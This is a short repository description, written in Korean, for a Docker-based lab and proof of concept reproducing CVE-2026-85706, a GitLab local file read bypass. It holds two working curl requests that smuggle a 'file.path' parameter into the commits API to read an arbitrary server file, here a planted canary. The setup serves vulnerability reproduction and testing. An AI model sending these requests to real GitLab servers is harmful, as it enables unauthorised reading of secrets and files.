flowerwitch/cve-2026-85706_docker_expCVE-2026-85706에 대한 Docker 기반 재현 환경 및 PoC로, .json 접미사와 후행 슬래시 경로 트릭을 통한 GitLab LFI 우회를 시연합니다.
git clone https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d
docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
# 우회 방식 1: .json 접미사
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
-H "Content-Type: application/json" \
--data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'
# 우회 방식 2: 끝 슬래시
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
